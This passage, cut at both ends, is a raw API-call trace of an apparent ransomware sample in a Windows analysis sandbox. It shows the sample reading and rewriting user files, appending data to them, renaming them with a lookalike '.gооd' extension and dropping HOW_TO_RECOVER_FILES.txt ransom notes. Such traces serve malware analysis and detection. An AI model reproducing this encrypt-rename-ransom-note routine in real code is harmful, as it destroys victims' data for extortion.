| out: hFindFile=0x1283d30) returned 1 [0152.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebfa0) returned 1 [0152.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebf60) returned 1 [0152.139] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx", nBufferLength=0x105, lpBuffer=0x1f6eb940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx", lpFilePart=0x0) returned 0x36 [0152.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ebe10) returned 1 [0152.139] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\uss.jtx"), fInfoLevelId=0x0, lpFileInformation=0x3b3da90 | out: lpFileInformation=0x3b3da90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1163b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c1163b2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1a4363d1, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x300000)) returned 1 [0152.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebdd0) returned 1 [0152.140] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx", nBufferLength=0x105, lpBuffer=0x1f6eb7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx", lpFilePart=0x0) returned 0x36 [0152.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ebd10) returned 1 [0152.140] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\uss.jtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0152.140] GetFileType (hFile=0x630) returned 0x1 [0152.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebc80) returned 1 [0152.140] GetFileType (hFile=0x630) returned 0x1 [0152.140] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6ebe68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6ebe68*=0) returned 0x1000 [0152.141] ReadFile (in: hFile=0x630, lpBuffer=0x3b3de48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ebe38, lpOverlapped=0x0 | out: lpBuffer=0x3b3de48*, lpNumberOfBytesRead=0x1f6ebe38*=0x1000, lpOverlapped=0x0) returned 1 [0152.142] CloseHandle (hObject=0x630) returned 1 [0152.142] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx", nBufferLength=0x105, lpBuffer=0x1f6eb7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx", lpFilePart=0x0) returned 0x36 [0152.142] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ebd10) returned 1 [0152.142] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\uss.jtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0152.142] GetFileType (hFile=0x630) returned 0x1 [0152.142] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebc80) returned 1 [0152.142] GetFileType (hFile=0x630) returned 0x1 [0152.142] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6ebe68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6ebe68*=0) returned 0x300000 [0152.142] WriteFile (in: hFile=0x630, lpBuffer=0x3b3f0b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ebd58, lpOverlapped=0x0 | out: lpBuffer=0x3b3f0b0*, lpNumberOfBytesWritten=0x1f6ebd58*=0x10, lpOverlapped=0x0) returned 1 [0152.144] CloseHandle (hObject=0x630) returned 1 [0152.144] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx", nBufferLength=0x105, lpBuffer=0x1f6eb7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx", lpFilePart=0x0) returned 0x36 [0152.144] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ebd10) returned 1 [0152.144] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\uss.jtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0152.144] GetFileType (hFile=0x630) returned 0x1 [0152.144] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebc80) returned 1 [0152.144] GetFileType (hFile=0x630) returned 0x1 [0152.144] ReadFile (in: hFile=0x630, lpBuffer=0x3b41340, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ebde8, lpOverlapped=0x0 | out: lpBuffer=0x3b41340*, lpNumberOfBytesRead=0x1f6ebde8*=0x1000, lpOverlapped=0x0) returned 1 [0152.273] CloseHandle (hObject=0x630) returned 1 [0152.274] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx", nBufferLength=0x105, lpBuffer=0x1f6eb7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx", lpFilePart=0x0) returned 0x36 [0152.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ebd10) returned 1 [0152.274] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\uss.jtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0152.274] GetFileType (hFile=0x630) returned 0x1 [0152.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebc80) returned 1 [0152.274] GetFileType (hFile=0x630) returned 0x1 [0152.274] WriteFile (in: hFile=0x630, lpBuffer=0x37c1020*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ebe98, lpOverlapped=0x0 | out: lpBuffer=0x37c1020*, lpNumberOfBytesWritten=0x1f6ebe98*=0x1010, lpOverlapped=0x0) returned 1 [0152.274] CloseHandle (hObject=0x630) returned 1 [0152.274] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx", nBufferLength=0x105, lpBuffer=0x1f6eb940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx", lpFilePart=0x0) returned 0x36 [0152.274] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx.gоod", nBufferLength=0x105, lpBuffer=0x1f6eb940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx.gоod", lpFilePart=0x0) returned 0x3b [0152.274] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ebdd0) returned 1 [0152.274] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\uss.jtx"), fInfoLevelId=0x0, lpFileInformation=0x1f6ebeb0 | out: lpFileInformation=0x1f6ebeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1163b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c1163b2, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x56f9a3ee, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x300010)) returned 1 [0152.274] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebd90) returned 1 [0152.274] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\uss.jtx"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\uss.jtx.gоod")) returned 1 [0152.275] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx", nBufferLength=0x105, lpBuffer=0x1f6eb940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx", lpFilePart=0x0) returned 0x39 [0152.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ebe10) returned 1 [0152.275] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\usstmp.jtx"), fInfoLevelId=0x0, lpFileInformation=0x3871638 | out: lpFileInformation=0x3871638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1163b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c221427, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6c221427, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x300000)) returned 1 [0152.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebdd0) returned 1 [0152.276] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx", nBufferLength=0x105, lpBuffer=0x1f6eb7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx", lpFilePart=0x0) returned 0x39 [0152.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ebd10) returned 1 [0152.276] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\usstmp.jtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0152.276] GetFileType (hFile=0x630) returned 0x1 [0152.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebc80) returned 1 [0152.276] GetFileType (hFile=0x630) returned 0x1 [0152.276] SetFilePointer (in: hFile=0x630, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6ebe68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6ebe68*=0) returned 0x1000 [0152.276] ReadFile (in: hFile=0x630, lpBuffer=0x3871a10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ebe38, lpOverlapped=0x0 | out: lpBuffer=0x3871a10*, lpNumberOfBytesRead=0x1f6ebe38*=0x1000, lpOverlapped=0x0) returned 1 [0152.277] CloseHandle (hObject=0x630) returned 1 [0152.277] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx", nBufferLength=0x105, lpBuffer=0x1f6eb7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx", lpFilePart=0x0) returned 0x39 [0152.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ebd10) returned 1 [0152.277] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\usstmp.jtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0152.278] GetFileType (hFile=0x630) returned 0x1 [0152.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebc80) returned 1 [0152.278] GetFileType (hFile=0x630) returned 0x1 [0152.278] SetFilePointer (in: hFile=0x630, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6ebe68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6ebe68*=0) returned 0x300000 [0152.278] WriteFile (in: hFile=0x630, lpBuffer=0x3872c88*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6ebd58, lpOverlapped=0x0 | out: lpBuffer=0x3872c88*, lpNumberOfBytesWritten=0x1f6ebd58*=0x10, lpOverlapped=0x0) returned 1 [0157.218] CloseHandle (hObject=0x630) returned 1 [0157.218] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx", nBufferLength=0x105, lpBuffer=0x1f6eb7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx", lpFilePart=0x0) returned 0x39 [0157.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ebd10) returned 1 [0157.218] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\usstmp.jtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0157.218] GetFileType (hFile=0x630) returned 0x1 [0157.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebc80) returned 1 [0157.218] GetFileType (hFile=0x630) returned 0x1 [0157.218] ReadFile (in: hFile=0x630, lpBuffer=0x33f9a28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6ebde8, lpOverlapped=0x0 | out: lpBuffer=0x33f9a28*, lpNumberOfBytesRead=0x1f6ebde8*=0x1000, lpOverlapped=0x0) returned 1 [0157.246] CloseHandle (hObject=0x630) returned 1 [0157.246] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx", nBufferLength=0x105, lpBuffer=0x1f6eb7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx", lpFilePart=0x0) returned 0x39 [0157.246] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ebd10) returned 1 [0157.246] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\usstmp.jtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0157.246] GetFileType (hFile=0x630) returned 0x1 [0157.246] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebc80) returned 1 [0157.246] GetFileType (hFile=0x630) returned 0x1 [0157.246] WriteFile (in: hFile=0x630, lpBuffer=0x33f87a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6ebe98, lpOverlapped=0x0 | out: lpBuffer=0x33f87a0*, lpNumberOfBytesWritten=0x1f6ebe98*=0x1010, lpOverlapped=0x0) returned 1 [0157.247] CloseHandle (hObject=0x630) returned 1 [0157.247] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx", nBufferLength=0x105, lpBuffer=0x1f6eb940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx", lpFilePart=0x0) returned 0x39 [0157.247] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx.gоod", nBufferLength=0x105, lpBuffer=0x1f6eb940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx.gоod", lpFilePart=0x0) returned 0x3e [0157.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ebdd0) returned 1 [0157.247] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\usstmp.jtx"), fInfoLevelId=0x0, lpFileInformation=0x1f6ebeb0 | out: lpFileInformation=0x1f6ebeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c1163b2, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x6c221427, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x59f022cf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x300010)) returned 1 [0157.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebd90) returned 1 [0157.247] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\usstmp.jtx"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USStmp.jtx.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\usstmp.jtx.gоod")) returned 1 [0157.247] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ebab0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x47 [0157.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ebfd0) returned 1 [0157.248] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0157.248] GetFileType (hFile=0x630) returned 0x1 [0157.248] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ebf40) returned 1 [0157.248] GetFileType (hFile=0x630) returned 0x1 [0157.249] WriteFile (in: hFile=0x630, lpBuffer=0x3478180*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ec098, lpOverlapped=0x0 | out: lpBuffer=0x3478180*, lpNumberOfBytesWritten=0x1f6ec098*=0x5d0, lpOverlapped=0x0) returned 1 [0157.250] CloseHandle (hObject=0x630) returned 1 [0157.250] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ec4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3c [0157.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eca00) returned 1 [0157.250] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Comms\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0157.250] GetFileType (hFile=0x630) returned 0x1 [0157.250] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec970) returned 1 [0157.250] GetFileType (hFile=0x630) returned 0x1 [0157.251] WriteFile (in: hFile=0x630, lpBuffer=0x347b9c8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6ecac8, lpOverlapped=0x0 | out: lpBuffer=0x347b9c8*, lpNumberOfBytesWritten=0x1f6ecac8*=0x5d0, lpOverlapped=0x0) returned 1 [0157.252] CloseHandle (hObject=0x630) returned 1 [0157.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eca90) returned 1 [0157.526] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform", nBufferLength=0x105, lpBuffer=0x1f6ec530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform", lpFilePart=0x0) returned 0x36 [0157.526] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\*", lpFindFileData=0x1f6ec7b0 | out: lpFindFileData=0x1f6ec7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc58b9bba, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.526] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc58b9bba, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.527] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x435d76fd, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x5f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CDPGlobalSettings.cdp", cAlternateFileName="CDPGLO~1.CDP")) returned 1 [0157.527] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0157.527] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec9d0) returned 1 [0157.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec990) returned 1 [0157.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6eca90) returned 1 [0157.527] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform", nBufferLength=0x105, lpBuffer=0x1f6ec530, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform", lpFilePart=0x0) returned 0x36 [0157.527] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\*", lpFindFileData=0x1f6ec7b0 | out: lpFindFileData=0x1f6ec7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc58b9bba, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0157.527] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xc58b9bba, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.527] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x435d76fd, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x5f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CDPGlobalSettings.cdp", cAlternateFileName="CDPGLO~1.CDP")) returned 1 [0157.528] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f6ec770 | out: lpFindFileData=0x1f6ec770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc58b9bba, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc58b9bba, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x435d76fd, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x5f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="CDPGlobalSettings.cdp", cAlternateFileName="CDPGLO~1.CDP")) returned 0 [0157.528] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0157.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec9d0) returned 1 [0157.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ec990) returned 1 [0157.528] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\CDPGlobalSettings.cdp", nBufferLength=0x105, lpBuffer=0x1f6ec370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\ConnectedDevicesPlatform\\CDPGlobalSettings.cdp", lpFilePart=0x0) returned 0x4c [0157.528] 